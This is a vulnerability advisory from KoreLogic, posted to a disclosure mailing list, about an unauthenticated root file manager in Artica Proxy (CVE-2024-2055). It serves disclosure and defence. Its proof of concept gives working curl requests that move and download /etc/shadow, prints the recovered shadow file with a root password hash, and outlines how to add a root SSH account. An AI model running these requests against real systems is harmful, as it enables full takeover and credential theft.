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<h1 class="m-title">KL-001-2024-003: Artica Proxy Unauthenticated File Manager Vulnerability</h1>
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<em>From</em>: KoreLogic Disclosures via Fulldisclosure <fulldisclosure () seclists org>
<em>Date</em>: Tue, 5 Mar 2024 12:30:19 -0600
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<pre style="margin: 0em;">KL-001-2024-003: Artica Proxy Unauthenticated File Manager Vulnerability
Title: Artica Proxy Unauthenticated File Manager Vulnerability
Advisory ID: KL-001-2024-003
Publication Date: 2024.03.05
Publication URL: <a rel="nofollow" href="https://korelogic.com/Resources/Advisories/KL-001-2024-003.txt">https://korelogic.com/Resources/Advisories/KL-001-2024-003.txt</a>
1. Vulnerability Details
Affected Vendor: Artica
Affected Product: Artica Proxy
Affected Version: 4.40 and 4.50
Platform: Debian 10 LTS
CWE Classification: CWE-288: Authentication Bypass Using an
Alternate Path or Channel, CWE-552: Files
or Directories Accessible to External
Parties
CVE ID: CVE-2024-2055
2. Vulnerability Description
The "Rich Filemanager" feature of Artica Proxy provides a
web-based interface for file management capabilities. When
the feature is enabled, it does not require authentication by
default, and runs as the root user.
3. Technical Description
The Artica Proxy can be installed with a small amount of
"Features" enabled. Within the administrative web interface,
additional features can be installed, enabled, and disabled. The
"Rich Filemanager" feature is disabled by default. Enabling
this feature will spawn a listener on port 5000/tcp bound to
0.0.0.0. By default, when this feature is enabled, authentication
is not required to access the web interface. The "Rich
Filemanager" runs as the root user. This provides an
unauthenticated attacker complete access to the file system.
root@artica:~# ps -efww | grep -i File
root 1888 1885 0 09:13 ? 00:00:00 php-fpm: pool RICHFILEMANAGER
root 1889 1885 0 09:13 ? 00:00:00 php-fpm: pool RICHFILEMANAGER
This can be exploited by an attacker to add entries in to
/etc/shadow, /etc/passwd, and /etc/ssh/sshd_config to create
an additional root-level account that has the ability to SSH
in to the system.
4. Mitigation and Remediation Recommendation
No response from vendor. Rich Filemanager feature is disabled
by default. Leave it that way.
5. Credit
This vulnerability was discovered by Jim Becher of KoreLogic,
Inc.
6. Disclosure Timeline
2023.12.18 - KoreLogic requests vulnerability contact and
secure communication method from Artica.
2023.12.18 - Artica Support issues automated ticket #1703011342
promising follow-up from a human.
2024.01.10 - KoreLogic again requests vulnerability contact and
secure communication method from Artica.
2024.01.10 - KoreLogic mail daemon receives SMTP 554 5.7.1 from
mail.articatech.com with response
"Client host rejected: Go Away!"
2024.01.11 - KoreLogic requests vulnerability contact and
secure communication method via
<a rel="nofollow" href="https://www.articatech.com/">https://www.articatech.com/</a> 'Contact Us' web form.
2024.01.23 - KoreLogic requests CVE from MITRE.
2024.01.23 - MITRE issues automated ticket #1591692 promising
follow-up from a human.
2024.02.01 - 30 business days have elapsed since KoreLogic
attempted to contact the vendor.
2024.02.06 - KoreLogic requests update on CVE from MITRE.
2024.02.15 - KoreLogic requests update on CVE from MITRE.
2024.02.22 - KoreLogic reaches out to alternate CNA for
CVE identifiers.
2024.02.26 - 45 business days have elapsed since KoreLogic
attempted to contact the vendor.
2024.02.29 - Vulnerability details presented to AHA!
(takeonme.org) by proxy.
2024.03.01 - AHA! issues CVE-2024-2055 to track this
vulnerability.
2024.03.05 - KoreLogic public disclosure.
7. Proof of Concept
Step 1: Move /etc/shadow to /tmp/shadow
</pre><tt> $ curl -s -k -X $'GET' -H $'Host: 192.168.2.139:5000' -H $'Accept: application/json, text/javascript, */*; q=0.01'
</tt><tt>-H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'X-Requested-With: XMLHttpRequest' -H
</tt><tt>$'Connection: close'
</tt><tt>$'<a rel="nofollow" href="http://192.168.2.139:5000/connectors/php/filemanager.php?time=1700885542096&mode=move&old=%2Fetc%2Fshadow&new=%2Ftmp%2F&_=1700868631198&apos">http://192.168.2.139:5000/connectors/php/filemanager.php?time=1700885542096&mode=move&old=%2Fetc%2Fshadow&new=%2Ftmp%2F&_=1700868631198&apos</a>;
</tt><pre style="margin: 0em;">
</pre><tt>{"data":{"id":"\/tmp\/shadow","type":"file","attributes":{"name":"shadow","path":"\/tmp\/shadow","readable":1,"writable":1,"created":"","modified":"24
</tt><tt>Nov 2023 15:55","timestamp":1700862914,"height":0,"width":0,"size":"2037"}}}
</tt><pre style="margin: 0em;">
Step 2: Download /tmp/shadow
</pre><tt> $ curl -s -k -X $'GET' -H $'Host: 192.168.2.139:5000' -H $'Accept:
</tt><tt>text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H
</tt><tt>$'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' -H $'Pragma: no-cache' -H
</tt><tt>$'Cache-Control: no-cache'
</tt><tt>$'<a rel="nofollow" href="http://192.168.2.139:5000/connectors/php/filemanager.php?mode=download&path=%2Ftmp%2Fshadow&time=1700885590870&apos">http://192.168.2.139:5000/connectors/php/filemanager.php?mode=download&path=%2Ftmp%2Fshadow&time=1700885590870&apos</a>;
</tt><pre style="margin: 0em;">
root:$6$Pvb1ivrg5oo.a/om$xtRvfpBBSZgPt/fDjHzw9k9e.jxWaY.LPOqnqHJcSBuQMxtjtG6pBBMMf1Z6D4jtN6kDSB3h5FufJ9DuXv.7R0:19507:0:99999:7:::
daemon:*:19507:0:99999:7:::
bin:*:19507:0:99999:7:::
sys:*:19507:0:99999:7:::
sync:*:19507:0:99999:7:::
games:*:19507:0:99999:7:::
man:*:19507:0:99999:7:::
lp:*:19507:0:99999:7:::
mail:*:19507:0:99999:7:::
<a rel="nofollow" href="news:*:19507:0:99999:7:::">news:*:19507:0:99999:7:::</a>
uucp:*:19507:0:99999:7:::
proxy:*:19507:0:99999:7:::
www-data:*:19507:0:99999:7:::
backup:*:19507:0:99999:7:::
list:*:19507:0:99999:7:::
irc:*:19507:0:99999:7:::
gnats:*:19507:0:99999:7:::
nobody:*:19507:0:99999:7:::
_apt:*:19507:0:99999:7:::
systemd-timesync:*:19507:0:99999:7:::
systemd-network:*:19507:0:99999:7:::
systemd-resolve:*:19507:0:99999:7:::
messagebus:*:19507:0:99999:7:::
quagga:*:19507:0:99999:7:::
apt-mirror:*:19507:0:99999:7:::
privoxy:*:19507:0:99999:7:::
ntp:*:19507:0:99999:7:::
redsocks:!:19507:0:99999:7:::
prads:*:19507:0:99999:7:::
freerad:*:19507:0:99999:7:::
vnstat:*:19507:0:99999:7:::
stunnel4:!:19507:0:99999:7:::
sshd:*:19507:0:99999:7:::
vde2-net:*:19507:0:99999:7:::
memcache:!:19507:0:99999:7:::
davfs2:*:19507:0:99999:7:::
ziproxy:!:19507:0:99999:7:::
proftpd:!:19507:0:99999:7:::
ftp:*:19507:0:99999:7:::
mosquitto:*:19507:0:99999:7:::
openldap:!:19507:0:99999:7:::
munin:*:19507:0:99999:7:::
msmtp:*:19507:0:99999:7:::
Debian-snmp:!:19507:0:99999:7:::
opendkim:*:19507:0:99999:7:::
avahi:*:19507:0:99999:7:::
glances:*:19507:0:99999:7:::
ArticaStats:!:19507:0:99999:7:::
netdata:!:19507:0:99999:7:::
mysql:!:19507:0:99999:7:::
postfix:!:19507:0:99999:7:::
squid:!:19507:0:99999:7:::
smokeping:!:19507:0:99999:7:::
unbound:!:19645:0:99999:7:::
Step 3: Move /tmp/shadow back to /etc/shadow as not to create a DoS condition
</pre><tt> $ curl -s -k -X $'GET' -H $'Host: 192.168.2.139:5000' -H $'Accept: application/json, text/javascript, */*; q=0.01'
</tt><tt>-H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'X-Requested-With: XMLHttpRequest' -H
</tt><tt>$'Connection: close'
</tt><tt>$'<a rel="nofollow" href="http://192.168.2.139:5000/connectors/php/filemanager.php?time=1700885798719&mode=move&old=%2Ftmp%2Fshadow&new=%2Fetc%2F&_=1700868631208&apos">http://192.168.2.139:5000/connectors/php/filemanager.php?time=1700885798719&mode=move&old=%2Ftmp%2Fshadow&new=%2Fetc%2F&_=1700868631208&apos</a>;
</tt><pre style="margin: 0em;">
</pre><tt>{"data":{"id":"\/etc\/shadow","type":"file","attributes":{"name":"shadow","path":"\/etc\/shadow","readable":0,"writable":1,"created":"","modified":"24
</tt><tt>Nov 2023 15:55","timestamp":1700862914,"height":0,"width":0,"size":0}}}
</tt><pre style="margin: 0em;">
The contents of this advisory are copyright(c) 2024
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
<a rel="nofollow" href="http://creativecommons.org/licenses/by-sa/4.0/">http://creativecommons.org/licenses/by-sa/4.0/</a>
KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
<a rel="nofollow" href="https://www.korelogic.com/about-korelogic.html">https://www.korelogic.com/about-korelogic.html</a>
Our public vulnerability disclosure policy is available at:
<a rel="nofollow" href="https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt">https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt</a>
</pre><p><strong>Attachment:
<a href="att-13/OpenPGP_signature_asc.bin"><tt>OpenPGP_signature.asc</tt></a></strong>
<em>Description:</em> OpenPGP digital signature</p>
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